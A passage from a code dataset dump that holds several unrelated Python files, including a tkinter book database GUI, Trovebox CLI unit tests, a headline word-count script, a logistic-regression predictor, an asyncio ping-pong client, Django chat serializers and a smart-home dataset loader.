publication\")\ne3.grid(row=1,column=0)\ne3_value=StringVar()\ne3=Entry(window,textvariable=e3_value)\ne3.grid(row=1,column=1)\ne4=Label(window,text=\"ISBN\")\ne4.grid(row=1,column=2)\ne4_value=StringVar()\ne4=Entry(window,textvariable=e4_value)\ne4.grid(row=1,column=3)\n\n'''OUTput box'''\nt1=Listbox(window,height=20,width=60)\nt1.grid(row=2,column=0,columnspan=6)\nsb1=Scrollbar(window)\nsb1.grid(row=2,column=4)\nt1.configure(yscrollcommand=sb1.set)\nsb1.configure(command=t1.yview)\n\n'''BIND is the function allowing to get the info from the list item '''\nt1.bind('<>',get_selected_row)\n\n'''Buttons'''\nb1=Button(window,text='Search',command=search1)\nb1.grid(row=3,column=0,rowspan=1)\nb2=Button(window,text='View All',command=view_all)\nb2.grid(row=3,column=1,rowspan=1)\nb3=Button(window,text='Add new entry',command=add1)\nb3.grid(row=3,column=2,rowspan=1)\nb4=Button(window,text='Update this entry',command=update1)\nb4.grid(row=4,column=0,rowspan=1)\nb5=Button(window,text='Delete this entry',command=delete1)\nb5.grid(row=4,column=1,rowspan=1)\n\nwindow.mainloop()","sub_path":"Database/sql.py","file_name":"sql.py","file_ext":"py","file_size_in_byte":4351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"619631262","text":"from __future__ import unicode_literals\nimport os\nimport sys\nimport shutil\nimport mock\ntry:\n import StringIO as io # Python2\nexcept ImportError:\n import io # Python3\ntry:\n import unittest2 as unittest # Python2.6\nexcept ImportError:\n import unittest\n\nimport trovebox\nfrom trovebox.main import main\n\nclass TestException(Exception):\n pass\n\ndef raise_exception(_):\n raise TestException()\n\nclass TestCli(unittest.TestCase):\n test_file = os.path.join(\"tests\", \"unit\", \"data\", \"test_file.txt\")\n test_unicode_file = os.path.join(\"tests\", \"unit\", \"data\",\n \"\\xfcnicode_test_file.txt\")\n\n @mock.patch.object(trovebox.main.trovebox, \"Trovebox\")\n @mock.patch('sys.stdout', new_callable=io.StringIO)\n def test_defaults(self, _, mock_trovebox):\n \"\"\"Check that the default behaviour is correct\"\"\"\n get = mock_trovebox.return_value.get\n main([])\n mock_trovebox.assert_called_with(config_file=None)\n get.assert_called_with(\"/photos/list.json\", process_response=False)\n\n @mock.patch.object(trovebox.main.trovebox, \"Trovebox\")\n @mock.patch('sys.stdout', new_callable=io.StringIO)\n def test_config(self, _, mock_trovebox):\n \"\"\"Check that a config file can be specified\"\"\"\n main([\"--config=test\"])\n mock_trovebox.assert_called_with(config_file=\"test\")\n\n @mock.patch.object(trovebox.main.trovebox, \"Trovebox\")\n @mock.patch('sys.stdout', new_callable=io.StringIO)\n def test_get(self, mock_stdout, mock_trovebox):\n \"\"\"Check that the get operation is working\"\"\"\n get = mock_trovebox.return_value.get\n get.return_value = \"Result\"\n main([\"-X\", \"GET\", \"-h\", \"test_host\", \"-e\", \"test_endpoint\", \"-F\",\n \"field1=1\", \"-F\", \"field2=2\"])\n mock_trovebox.assert_called_with(host=\"test_host\")\n get.assert_called_with(\"test_endpoint\", field1=\"1\", field2=\"2\",\n process_response=False)\n self.assertEqual(mock_stdout.getvalue(), \"Result\\n\")\n\n @mock.patch.object(trovebox.main.trovebox, \"Trovebox\")\n @mock.patch('sys.stdout', new_callable=io.StringIO)\n def test_post(self, mock_stdout, mock_trovebox):\n \"\"\"Check that the post operation is working\"\"\"\n post = mock_trovebox.return_value.post\n post.return_value = \"Result\"\n main([\"-X\", \"POST\", \"-h\", \"test_host\", \"-e\", \"test_endpoint\", \"-F\",\n \"field1=1\", \"-F\", \"field2=2\"])\n mock_trovebox.assert_called_with(host=\"test_host\")\n post.assert_called_with(\"test_endpoint\", field1=\"1\", field2=\"2\",\n files={}, process_response=False)\n self.assertEqual(mock_stdout.getvalue(), \"Result\\n\")\n\n @mock.patch.object(trovebox.main.trovebox, \"Trovebox\")\n @mock.patch('sys.stdout', new_callable=io.StringIO)\n def test_post_files(self, _, mock_trovebox):\n \"\"\"Check that files are posted correctly\"\"\"\n post = mock_trovebox.return_value.post\n main([\"-X\", \"POST\", \"-F\", \"photo=@%s\" % self.test_file])\n # It's not possible to directly compare the file object,\n # so check it manually\n files = post.call_args[1][\"files\"]\n self.assertEqual(list(files.keys()), [\"photo\"])\n self.assertEqual(files[\"photo\"].name, self.test_file)\n\n @mock.patch.object(trovebox.main.trovebox, \"Trovebox\")\n @mock.patch('sys.stdout', new_callable=io.StringIO)\n def test_post_files_with_user_expansion(self, _, mock_trovebox):\n \"\"\"\n Check that files are posted correctly when specified relative\n to the '~' user directory\n \"\"\"\n post = mock_trovebox.return_value.post\n user_file = \"~/.trovebox_temporary_file\"\n expanded_file = os.path.expanduser(user_file)\n shutil.copy(self.test_file, expanded_file)\n try:\n main([\"-X\", \"POST\", \"-F\", \"photo=@%s\" % user_file])\n # It's not possible to directly compare the file object,\n # so check it manually\n files = post.call_args[1][\"files\"]\n self.assertEqual(list(files.keys()), [\"photo\"])\n self.assertEqual(files[\"photo\"].name, expanded_file)\n finally:\n os.remove(expanded_file)\n\n @mock.patch.object(trovebox.main.trovebox, \"Trovebox\")\n @mock.patch('sys.stdout', new_callable=io.StringIO)\n def test_post_missing_files(self, _, mock_trovebox):\n \"\"\"Check that missing files cause an exception\"\"\"\n post = mock_trovebox.return_value.post\n with self.assertRaises(IOError):\n main([\"-X\", \"POST\", \"-F\", \"photo=@%s.missing\" % self.test_file])\n\n @mock.patch.object(trovebox.main.trovebox, \"Trovebox\")\n @mock.patch('sys.stdout', new_callable=io.StringIO)\n def test_post_unicode_files(self, _, mock_trovebox):\n \"\"\"Check that unicode filenames are posted correctly\"\"\"\n post = mock_trovebox.return_value.post\n\n # Python 2.x provides encoded commandline arguments\n file_param = \"photo=@%s\" % self.test_unicode_file\n if sys.version < '3':\n file_param = file_param.encode(sys.getfilesystemencoding())\n\n main([\"-X\", \"POST\", \"-F\", \"photo=@%s\" % self.test_unicode_file])\n # It's not possible to directly compare the file object,\n # so check it manually\n files = post.call_args[1][\"files\"]\n self.assertEqual(list(files.keys()), [\"photo\"])\n self.assertEqual(files[\"photo\"].name, self.test_unicode_file)\n\n @unittest.skipIf(sys.version >= '3',\n \"Python3 only uses unicode commandline arguments\")\n @mock.patch('trovebox.main.sys.getfilesystemencoding')\n @mock.patch.object(trovebox.main.trovebox, \"Trovebox\")\n @mock.patch('sys.stdout', new_callable=io.StringIO)\n def test_post_utf8_files(self, _, mock_trovebox, mock_getfilesystemencoding):\n \"\"\"Check that utf-8 encoded filenames are posted correctly\"\"\"\n post = mock_trovebox.return_value.post\n # Make the system think its filesystemencoding is utf-8\n mock_getfilesystemencoding.return_value = \"utf-8\"\n\n file_param = \"photo=@%s\" % self.test_unicode_file\n file_param = file_param.encode(\"utf-8\")\n\n main([\"-X\", \"POST\", \"-F\", file_param])\n # It's not possible to directly compare the file object,\n # so check it manually\n files = post.call_args[1][\"files\"]\n self.assertEqual(list(files.keys()), [\"photo\"])\n self.assertEqual(files[\"photo\"].name, self.test_unicode_file)\n\n @mock.patch.object(sys, \"exit\", raise_exception)\n @mock.patch('sys.stderr', new_callable=io.StringIO)\n def test_unknown_arg(self, mock_stderr):\n \"\"\"Check that an unknown argument produces an error\"\"\"\n with self.assertRaises(TestException):\n main([\"hello\"])\n self.assertIn(\"error: Unknown argument\", mock_stderr.getvalue())\n\n @mock.patch.object(sys, \"exit\", raise_exception)\n @mock.patch('sys.stderr', new_callable=io.StringIO)\n def test_unknown_option(self, mock_stderr):\n \"\"\"Check that an unknown option produces an error\"\"\"\n with self.assertRaises(TestException):\n main([\"--hello\"])\n self.assertIn(\"error: no such option\", mock_stderr.getvalue())\n\n @mock.patch.object(sys, \"exit\", raise_exception)\n @mock.patch('sys.stdout', new_callable=io.StringIO)\n def test_unknown_config(self, mock_stdout):\n \"\"\"Check that an unknown config file produces an error\"\"\"\n with self.assertRaises(TestException):\n main([\"--config=this_config_doesnt_exist\"])\n self.assertIn(\"No such file or directory\", mock_stdout.getvalue())\n self.assertIn(\"You must create a configuration file\",\n mock_stdout.getvalue())\n self.assertIn(\"To get your credentials\", mock_stdout.getvalue())\n\n @mock.patch.object(trovebox.main.trovebox, \"Trovebox\")\n @mock.patch('sys.stdout', new_callable=io.StringIO)\n def test_verbose_without_params(self, mock_stdout, _):\n \"\"\"Check that the verbose option works with no parameters\"\"\"\n main([\"-v\"])\n self.assertIn(\"Method: GET\", mock_stdout.getvalue())\n self.assertIn(\"Endpoint: /photos/list.json\", mock_stdout.getvalue())\n self.assertNotIn(\"Fields:\", mock_stdout.getvalue())\n\n @mock.patch.object(trovebox.main.trovebox, \"Trovebox\")\n @mock.patch('sys.stdout', new_callable=io.StringIO)\n def test_verbose_with_params(self, mock_stdout, _):\n \"\"\"Check that the verbose option works with parameters\"\"\"\n main([\"-v\", \"-F foo=bar\"])\n self.assertIn(\"Method: GET\", mock_stdout.getvalue())\n self.assertIn(\"Endpoint: /photos/list.json\", mock_stdout.getvalue())\n self.assertIn(\"Fields:\\n foo=bar\", mock_stdout.getvalue())\n\n @mock.patch.object(trovebox.main.trovebox, \"Trovebox\")\n @mock.patch('sys.stdout', new_callable=io.StringIO)\n def test_pretty_print(self, mock_stdout, mock_trovebox):\n \"\"\"Check that the pretty-print option is working\"\"\"\n get = mock_trovebox.return_value.get\n get.return_value = '{\"test\":1}'\n main([\"-p\"])\n self.assertEqual(mock_stdout.getvalue(), '{\\n \"test\":1\\n}\\n')\n\n @mock.patch('sys.stdout', new_callable=io.StringIO)\n def test_version(self, mock_stdout):\n \"\"\"Check that the version string is correctly printed\"\"\"\n main([\"--version\"])\n self.assertEqual(mock_stdout.getvalue(), trovebox.__version__ + \"\\n\")\n\n @mock.patch('sys.stdout', new_callable=io.StringIO)\n def test_help(self, mock_stdout):\n \"\"\"Check that the help string is correctly printed\"\"\"\n main([\"--help\"])\n self.assertIn(\"show this help message\", mock_stdout.getvalue())\n","sub_path":"tests/unit/test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":9696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"349986154","text":"import json\nimport pandas as pd\nimport numpy as np\nimport requests\nimport string\nfrom bs4 import BeautifulSoup\nimport datetime\nfrom collections import Counter\nimport re \nimport matplotlib.pyplot as plt\nimport nltk\nfrom textblob import TextBlob\n# This is the place where taking of json files \n# and putting all the words in their right places goes\n\n# possible divisions of data:\n#\tby month or by day sequentially\n# Tasks:\n# \tcount the words\n#\thistogram of each word? maybe words above a threshold?\n#\tmake a word ven-diagram perhaps? common words? \n#\tmentions of X -> make a funciton that takes in a word or phrase \n#\tand spits out instances\n#\ttitle masher of the two -> requires grammer (how do that??)\n#\ttitle generator\n\n# +++++\n# Make an object with like word count, \n# unique etc as properties of the object???\n# SET UP SERVER TO GET THIS DATA EVERY DAY\n# INCORPORATE DATE INTO THINGS TO GET HISTORIC \n# AND OVER TIME AVERAGES ETC\n# Attempts to get all the induvidual words\n# then returns list of each word in file\n\n\n# Required sprucing:\n#\tAre all the duplicates really gone?\n#\tneeds a function to cut out words that don't matter:\n#\tsuch as the etc\n#\tneed a thing to add together similar words maybe?\n#\tsuch as trump, trumpism etc\n#\tHow should i display the data? there's too many words\n#\tmaybe top 100 nouns? \n#\tsave the plots also with a datetime?\n#\tmaybe make that like do it with the daily scraping?\n\ndef word_extractor(articles_from_site): \n\t# might be easier to do nltk.word_tokenize(shit)\n\t# takes json file and returns a list of words \n\t# with no special chars\n\twords = []\n\tword_list = []\n\ttitles = []\n\twith open(articles_from_site) as file:\n\t\traw_file = json.load(file)\n\t\tless_raw_file = raw_file['articles']\n\t\tfor days in less_raw_file:\n\t\t\ttitles.append(days['titles']) # article arrays\n\t\t\tfor day_of_titles in titles:\n\t\t\t\tfor title in day_of_titles:\n\t\t\t\t\t\tword_list.append(title.split())\n\t\tfor title_chunk in word_list:\n\t\t\tfor i in title_chunk:\n\t\t\t\twords.append(re.sub(r'\\W+', '',i))\n\treturn words\n\ndef word_counter(word_list): \n\t#returns a dict that has a count of each word\n\tcount = Counter(word_list)\n\treturn dict(count)\n\t\ndef word_hist(word_count): \n\t# gives diagnostics of given word_count\n\t# do we want an i/o where like you request a type of graph \n\t# and it gives it \n\t# to you and then asks if you want more and then gives quit option\n\tfig, ax = plt.subplots()\n\tnew_count = {}\n\tfor key in word_count:\n\t\tif word_count[key]<1000: new_count[key]=word_count[key]\n\tword = [keys for keys in new_count.keys()]\n\tcount = [counts for counts in new_count.values()]\n\tax.bar(word, count, color='salmon')\n\tax.set_title('Shit')\n\tplt.xticks(rotation=90)\n\tplt.rc('font', size=8) \n\tplt.show()\n\ndef part_of_speech(word_list):\n\torganized_speech_parts={}\n\tunique_words=[key for key in word_counter(word_list).keys()]\n\tfor word in unique_words:\n\t\tblob=TextBlob(word)\n\t\ttags=blob.tags\n\t\tif tags[0][1] not in organized_speech_parts.keys():\n\t\t\torganized_speech_parts[tags[0][1]]=[str(tags[0][0])]\n\t\telse: organized_speech_parts[tags[0][1]].append(str(tags[0][0]))\n\treturn organized_speech_parts\n\n\n\t# assigns a part of speech to each word in the list\n\t# using nltk and then returns a dict with a list of words \n\t# of each speech type\n\n# def word_venn(word_list1, word_list2):\n# \t# returns interactive vendiagram of common words and\n# \t# their relative stregths\n\n# def remove_words(word_list):\n# \t#removes common and uninteresting words\n\n# def article_generator(hmm idk yet):\n\n# # Grammer stuff?\n# # Article Generatorrrrrrrrr fun \n\n# tokenized = sent_tokenize(txt) \n# for i in tokenized: \n \n# # Word tokenizers is used to find the words \n# # and punctuation in a string \n# wordsList = nltk.word_tokenize(i) \n \n# # removing stop words from wordList \n# wordsList = [w for w in wordsList if not w in stop_words] \n \n# # Using a Tagger. Which is part-of-speech \n# # tagger or POS-tagger. \n# tagged = nltk.pos_tag(wordsList) \n \n# print(tagged) \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"articlyzer.py","file_name":"articlyzer.py","file_ext":"py","file_size_in_byte":4009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"487537110","text":"import numpy as np\nimport sys\n\nnp.random.seed(0)\nX_test_fpath = sys.argv[1]\noutput_fpath = sys.argv[2]\nmodelname = sys.argv[3]\n\n# Parse csv files to numpy array\nwith open(X_test_fpath) as f:\n next(f)\n X_test = np.array([line.strip('\\n').split(',')[1:] for line in f], dtype = float)\n\n\ndef _normalize(X, train = True, specified_column = None, X_mean = None, X_std = None):\n # This function normalizes specific columns of X.\n # The mean and standard variance of training data will be reused when processing testing data.\n #\n # Arguments:\n # X: data to be processed\n # train: 'True' when processing training data, 'False' for testing data\n # specific_column: indexes of the columns that will be normalized. If 'None', all columns\n # will be normalized.\n # X_mean: mean value of training data, used when train = 'False'\n # X_std: standard deviation of training data, used when train = 'False'\n # Outputs:\n # X: normalized data\n # X_mean: computed mean value of training data\n # X_std: computed standard deviation of training data\n\n if specified_column == None:\n specified_column = np.arange(X.shape[1])\n if train:\n X_mean = np.mean(X[:, specified_column] ,0).reshape(1, -1)\n X_std = np.std(X[:, specified_column], 0).reshape(1, -1)\n\n X[:,specified_column] = (X[:, specified_column] - X_mean) / (X_std + 1e-8)\n \n return X, X_mean, X_std\n\n\n# Normalize training and testing data\nX_mean = np.load('weights/'+modelname+'_mean_x.npy')\nX_std = np.load('weights/'+modelname+'_std_x.npy')\nX_test, _, _= _normalize(X_test, train = False, specified_column = None, X_mean = X_mean, X_std = X_std)\n\ntest_size = X_test.shape[0]\ndata_dim = X_test.shape[1]\nprint('Size of testing set: {}'.format(test_size))\nprint('Dimension of data: {}'.format(data_dim))\n\ndef _sigmoid(z):\n # Sigmoid function can be used to calculate probability.\n # To avoid overflow, minimum/maximum output value is set.\n return np.clip(1 / (1.0 + np.exp(-z)), 1e-8, 1 - (1e-8))\n\ndef _f(X, w, b):\n # This is the logistic regression function, parameterized by w and b\n #\n # Arguements:\n # X: input data, shape = [batch_size, data_dimension]\n # w: weight vector, shape = [data_dimension, ]\n # b: bias, scalar\n # Output:\n # predicted probability of each row of X being positively labeled, shape = [batch_size, ]\n return _sigmoid(np.matmul(X, w) + b)\n\ndef _predict(X, w, b):\n # This function returns a truth value prediction for each row of X \n # by rounding the result of logistic regression function.\n return np.round(_f(X, w, b)).astype(np.int)\n \ndef _accuracy(Y_pred, Y_label):\n # This function calculates prediction accuracy\n acc = 1 - np.mean(np.abs(Y_pred - Y_label))\n return acc\n\n# Predict testing labels\nw_best = np.load('weights/'+modelname+'_weight_w.npy')\nb_best = np.load('weights/'+modelname+'_weight_b.npy')\npredictions = 1 - _predict(X_test, w_best, b_best)\nwith open(output_fpath, 'w') as f:\n f.write('id,label\\n')\n for i, label in enumerate(predictions):\n f.write('{},{}\\n'.format(i, label))\n","sub_path":"hw2_linearRegression_income_classi/predict_gen.py","file_name":"predict_gen.py","file_ext":"py","file_size_in_byte":3169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"628273157","text":"from asyncio import get_event_loop, sleep\nfrom sfp import sfp\n\nHOST, PORT = '127.0.0.1', 9999\n\n\nasync def main():\n reader, writer = await sfp.connect_tcp(HOST, PORT)\n print(\"Connected to\", HOST, PORT)\n try:\n async with writer:\n while True:\n writer.write(\"PING\".encode())\n await writer.drain()\n print(\"PING sent\")\n msg = \"\"\n while msg != \"PONG\":\n data = await reader.read()\n msg = data.decode()\n print(\"PONG received\")\n await sleep(1)\n except:\n print(\"Connection closed\")\n\n\nif __name__ == '__main__':\n loop = get_event_loop()\n loop.run_until_complete(main())\n","sub_path":"examples/ping-pong_tcp_client.py","file_name":"ping-pong_tcp_client.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"473083752","text":"import os, sys, ntpath, shutil\n\nfrom definitions import *\n\nfrom helpers import *\n\n\ndef solve_all(srcdir=\"{}/xml\".format(ROOT_DIR), dstdir=\"{}/result\".format(ROOT_DIR), solverpath=AIRFOILBIN):\n if os.path.exists(srcdir):\n for filename in os.listdir(srcdir):\n solve(os.path.abspath(\"{}/{}\".format(srcdir, filename)), dstdir)\n\n\ndef solve(filepath, dstdir=\"{}/result\".format(ROOT_DIR), solverpath=AIRFOILBIN):\n resultsdirname = ntpath.basename(filepath).replace(\".xml\", \"\") + \"_results\"\n\n if os.path.exists(dstdir):\n if os.path.exists(\"{}/{}\".format(dstdir, resultsdirname)):\n return os.path.abspath(\"{}/{}\".format(dstdir, resultsdirname))\n else:\n os.mkdir(dstdir) \n\n os.mkdir(\"{}/{}\".format(dstdir, resultsdirname))\n\n os.system(\"{} 10 0.9 10 1 {}\".format(solverpath, filepath))\n\n if os.path.exists(\"results\"):\n copytree(\"results\", \"{}/{}\".format(dstdir, resultsdirname))\n shutil.rmtree(\"results\")\n\n return os.path.abspath(\"{}/{}\".format(dstdir, resultsdirname))\n\n\ndef copytree(src, dst, symlinks=False, ignore=None):\n for item in os.listdir(src):\n s = os.path.join(src, item)\n d = os.path.join(dst, item)\n if os.path.isdir(s):\n shutil.copytree(s, d, symlinks, ignore)\n else:\n shutil.copy2(s, d)\n","sub_path":"project/application/app/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"152905653","text":"from rest_framework import serializers\nfrom chat.models import Message, Chat\nfrom users.serializers import UserSerializer\nfrom users.models import User\nimport datetime\n\nclass ChatSerializer(serializers.Serializer):\n id = serializers.CharField(max_length=100, read_only=True)\n messages = serializers.PrimaryKeyRelatedField(many=True, read_only=True)\n users = UserSerializer(required=False)\n\n class Meta:\n model = Chat\n fields = '__all__'\n \n def create(self, validated_data):\n user_data = validated_data.pop('users', None)\n if user_data:\n user = User.objects.get_or_create(**user_data)[0]\n validated_data['users'] = user\n\n return Chat.objects.create(**validated_data)\n\n def update(self, instance, validated_data):\n user_data = validated_data.pop('users', None)\n if user_data:\n user = User.objects.get_or_create(**user_data)[0]\n validated_data['users'] = user\n instance.users = validated_data.get('users', instance.users)\n instance.save()\n return instance\n\n#==============================================================================================================\n\nclass MessageSerializer(serializers.Serializer):\n id = serializers.CharField(max_length=100, read_only=True)\n text = serializers.CharField(max_length=300, required=True)\n message_date = serializers.DateTimeField(default=datetime.datetime.now)\n user = UserSerializer(required=False)\n chat = ChatSerializer(required=False)\n\n class Meta:\n model = Message\n fields = '__all__'\n \n def create(self, validated_data):\n user_data = validated_data.pop('user', None)\n if user_data:\n user = User.objects.get_or_create(**user_data)[0]\n validated_data['user'] = user\n\n chat_data = validated_data.pop('chat', None)\n if chat_data:\n chat = Chat.objects.get_or_create(**chat_data)[0]\n validated_data['chat'] = chat\n\n return Message.objects.create(**validated_data)\n\n def update(self, instance, validated_data):\n instance.text = validated_data.get('text', instance.text)\n instance.message_date = validated_data.get('message_date', instance.message_date)\n instance.user = validated_data.get('user', instance.user)\n instance.chat = validated_data.get('chat', instance.chat)\n instance.save()\n return instance","sub_path":"Sprint 9/api/chat/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"41956119","text":"import compress_pickle\nimport os\nfrom general.utils import MyTask\nimport general.utils as utils\nimport numpy as np\nfrom intervaltree.intervaltree import IntervalTree\n\nimport pandas as pd\nimport logging\nlogger = logging.getLogger(__file__)\n\n\nclass Dataset(MyTask):\n def __init__(self, data_path, data_dscr):\n self.data_path = data_path\n self.data_dscr = data_dscr\n self.cache_path = f'{data_path}/cache.pkl.lz4'\n\n def shortname(self):\n return self.data_dscr\n\n def _load(self):\n pass\n\n def _load_from_cache(self):\n try:\n if not os.path.exists(self.cache_path):\n return False\n attrs = compress_pickle.load(self.cache_path)\n for k in attrs:\n setattr(self, k, attrs[k])\n except Exception as e:\n logger.debug(f'cache file is broken {e}')\n return False\n\n return True\n\n def _save_to_cache(self):\n attrs = self.__dict__\n compress_pickle.dump(attrs, self.cache_path)\n\n def load(self):\n if self._load_from_cache():\n return self\n self.activity_events, self.activities, self.sensor_events, self.sensor_desc = self._load()\n logger.debug('database file loaded... now convert it ')\n self._calculate_activity()\n logger.debug('activities converted...')\n self._caclculate_sensor()\n logger.debug('sensors converted...')\n self._save_to_cache()\n return self\n\n def _calculate_activity(self):\n self.activity_events = self.activity_events.sort_values(['StartTime', 'EndTime'])\n print(self.activities)\n self.activities.sort()\n self.activities = np.insert(self.activities, 0, 'None')\n self.activities_map_inverse = {k: v for v, k in enumerate(self.activities)}\n self.activities_map = {v: k for v, k in enumerate(self.activities)}\n self.activity_events.Activity = self.activity_events.Activity.apply(\n lambda x: self.activities_map_inverse[x])\n self.activity_events['Duration'] = self.activity_events.EndTime - \\\n self.activity_events.StartTime\n self.activity_events_tree = IntervalTree()\n for i, act in self.activity_events.iterrows():\n if (act.StartTime.value == act.EndTime.value):\n self.activity_events_tree[act.StartTime.value:act.StartTime.value +\n 1] = {'StartTime': act.StartTime, 'EndTime': act.EndTime, 'Activity': act.Activity}\n else:\n self.activity_events_tree[act.StartTime.value:act.EndTime.value] = {\n 'StartTime': act.StartTime, 'EndTime': act.EndTime, 'Activity': act.Activity}\n\n def _caclculate_sensor(self):\n self.sensor_events = self.sensor_events.sort_values(['time'])\n self.sensor_desc = self.sensor_desc.sort_values(by=['ItemName'])\n self.sensor_desc = self.sensor_desc.set_index('ItemId')\n\n self.sensor_desc_map_inverse = {}\n self.sensor_desc_map = {}\n\n for i, sd in self.sensor_desc[self.sensor_desc.Nominal == 1].iterrows():\n self.sensor_desc_map_inverse[i] = {k: v for v, k in enumerate(sd.ItemRange['range'])}\n self.sensor_desc_map[i] = {v: k for v, k in enumerate(sd.ItemRange['range'])}\n\n def _convertVal3(x):\n return _convertVal(x.SID, x.Value)\n\n def _convertVal2(sid, val):\n try:\n valf = float(val)\n return valf\n except:\n return self.sensor_desc_map_inverse[sid][val]\n\n def _convertVal(sid, val):\n\n if sid in self.sensor_desc_map_inverse:\n # if type(x.value) is float :\n # return self.sensor_desc_map_inverse[x.SID][str(int(x.value))]\n return self.sensor_desc_map_inverse[sid][val]\n else:\n return float(val)\n # for i,x in self.sensor_events.iterrows() :\n\n import time\n s = time.time()\n # for i in range(0,len(self.sensor_events)):\n # self.sensor_events.iat[i,2] = _convertVal(self.sensor_events.iat[i,0],self.sensor_events.iat[i,2])\n for p in self.sensor_desc_map_inverse:\n for v in self.sensor_desc_map_inverse[p]:\n self.sensor_events = self.sensor_events.replace({'SID': p, 'value': v}, {'value': self.sensor_desc_map_inverse[p][v]})\n self.sensor_events.value = pd.to_numeric(self.sensor_events.value)\n # print(time.time()-s)\n # print(self.sensor_events)\n self.sensor_id_map = {v: k for v, k in enumerate(self.sensor_desc.index)}\n self.sensor_id_map_inverse = {k: v for v, k in enumerate(self.sensor_desc.index)}\n\n # region PublicActivityRoutines\n\n def get_activities_by_indices(self, activity_ids):\n \"\"\"Get a group of activities by their corresponding indices\n\n Args:\n activity_ids (:obj:`list` of :obj:`int`): A list of activity indices\n\n Returns:\n :obj:`list` of :obj:`str`: A list of activity labels in the same order\n \"\"\"\n return [self.get_activity_by_index(cur_id) for cur_id in activity_ids]\n\n def get_activity_by_index(self, activity_id):\n \"\"\"Get Activity name by their index\n\n Args:\n activity_id (:obj:`int`): Activity index\n\n Returns:\n :obj:`str`: Activity label\n \"\"\"\n if activity_id in self.activities_map:\n return self.activities_map[activity_id]\n logger.error('Failed to find activity with index %d' % activity_id)\n return \"\"\n\n def get_activity_index(self, activity_label):\n \"\"\"Get Index of an activity\n\n Args:\n activity_label (:obj:`str`): Activity label\n\n Returns:\n :obj:`int`: Activity index (-1 if not found or not enabled)\n \"\"\"\n if activity_label in self.activity_map_inverse:\n return self.activity_map_inverse[activity_label]\n else:\n return -1\n\n def remove_activities(self, acts):\n \"\"\"Get label list of all enabled activities\n\n \"\"\"\n raise NotImplementedError\n\n def get_activity_color(self, activity_label):\n \"\"\"Find the color string for the activity.\n\n Args:\n activity_label (:obj:`str`): activity label\n\n Returns:\n :obj:`str`: RGB color string\n \"\"\"\n\n # Pick the color from color list based on the activity index\n activity_index = self.get_activity_index(activity_label)\n if activity_index >= 0:\n return self._COLORS[activity_index % len(self._COLORS)]\n else:\n return '#C8C8C8' # returns grey\n\n # region PublicSensorRoutines\n\n def remove_sensor(self, sensor_name):\n \"\"\"Enable a sensor\n\n Args:\n sensor_name (:obj:`str`): Sensor Name\n\n Returns\n :obj:`int`: The index of the enabled sensor\n \"\"\"\n raise NotImplementedError\n\n def get_sensor_by_index(self, sensor_id):\n \"\"\"Get the name of sensor by index\n\n Args:\n sensor_id (:obj:`int`): Sensor index\n\n Returns:\n :obj:`str`: Sensor name\n \"\"\"\n if sensor_id in self.sensor_id_map:\n return self.sensor_id_map[sensor_id]\n logger.error('Failed to find sensor with index %d' % sensor_id)\n return \"\"\n\n def get_sensor_index(self, sensor_name):\n \"\"\"Get Sensor Index\n\n Args:\n sensor_name (:obj:`str`): Sensor Name\n\n Returns:\n :obj:`int`: Sensor index (-1 if not found or not enabled)\n \"\"\"\n if sensor_name in self.sensor_id_map_inverse:\n return self.sensor_id_map_inverse[sensor_name]\n else:\n return -1\n\n # endregion\n\n # # region PickleState\n\n # def __getstate__(self):\n # \"\"\"Save x as sparse matrix if the density of x is smaller than 0.5\n # \"\"\"\n # # state = self.__dict__.copy()\n # # if self.x is not None:\n # # density_count = np.count_nonzero(self.x)\n # # density = float(density_count) / self.x.size\n # # if density < 0.5:\n # # state['x'] = sp.csr_matrix(state['x'])\n # return self.__dict__\n\n # def __setstate__(self, state):\n # \"\"\"Set state from pickled file\n # \"\"\"\n # # if sp.issparse(state['x']):\n # # state['x'] = state['x'].todense()\n # # self.__dict__.update(state)\n # # endregion\n\n # region Summary\n def summary(self):\n \"\"\"Print summary of loaded datasets\n \"\"\"\n logger.debug('Dataset Path: %s' % self.data_path)\n logger.debug('Sensors: %d' % len(self.sensor_desc))\n logger.debug('Activities: %d' % len(self.activities))\n logger.debug('loaded events: %d' % len(self.sensor_events))\n # endregion\n\n _COLORS = ('#b20000, #56592d, #acdae6, #cc00be, #591616, #d5d9a3, '\n '#007ae6, #4d0047, #a67c7c, #2f3326, #00294d, #b35995, '\n '#ff9180, #1c330d, #73b0e6, #f2b6de, #592400, #6b994d, '\n '#1d2873, #ff0088, #cc7033, #50e639, #0000ff, #7f0033, '\n '#e6c3ac, #00d991, #c8bfff, #592d3e, #8c5e00, #80ffe5, '\n '#646080, #d9003a, #332200, #397367, #6930bf, #33000e, '\n '#ffbf40, #3dcef2, #1c0d33, #8c8300, #23778c, #ba79f2, '\n '#e6f23d, #203940, #302633').split(',')\n","sub_path":"datatool/dataset_abstract.py","file_name":"dataset_abstract.py","file_ext":"py","file_size_in_byte":9432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"396080168","text":"\"\"\"\nThese are almost end-to-end tests. They create a CommandLineInterface\ninstance, feed it with some input and check the result.\n\"\"\"\nfrom __future__ import unicode_literals\nfrom prompt_toolkit.application import Application\nfrom prompt_toolkit.enums import DEFAULT_BUFFER\nfrom prompt_toolkit.eventloop.posix import PosixEventLoop\nfrom prompt_toolkit.input import PipeInput\nfrom prompt_toolkit.interface import CommandLineInterface\nfrom prompt_toolkit.output import DummyOutput\n\nimport unittest\n\ndef _feed_cli_with_input(text):\n \"\"\"\n Create a CommandLineInterface, feed it with the given user 